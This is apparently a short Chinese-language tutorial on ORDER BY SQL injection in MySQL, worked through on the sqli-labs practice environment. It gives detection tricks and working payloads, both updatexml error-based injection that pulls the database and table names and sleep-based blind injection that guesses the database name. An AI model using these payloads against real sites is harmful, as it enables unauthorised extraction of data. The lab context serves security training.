order by 注入原理
其實orde by 注入也是sql注入的一種,原理都同樣就是mysql語法的區別,order by是用來排序的語法。
sql-lab講解
判斷方法
1.經過作運算來判斷如:2-1的返回是否和1同樣,和經過desc倒序,
![](http://static.javashuo.com/static/loading.gif)
還有排序方法判斷如:if(1=1,username,password)、rand(1=1)。
![](http://static.javashuo.com/static/loading.gif)
sql-lab46基於order by的報錯注入
?sort=1 and (updatexml(1,concat(0x7e,(select(database())),0x7e),1))
?sort=1 and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1))
![](http://static.javashuo.com/static/loading.gif)
sql-lab基於order by 時間盲注
數據庫長度:?sort=1 and (if(length(database())=8,sleep(1),1))
數據庫猜解:?sort=1 and (if(ascii(mid(database(),1,1))=115,sleep(1),1))
![](http://static.javashuo.com/static/loading.gif)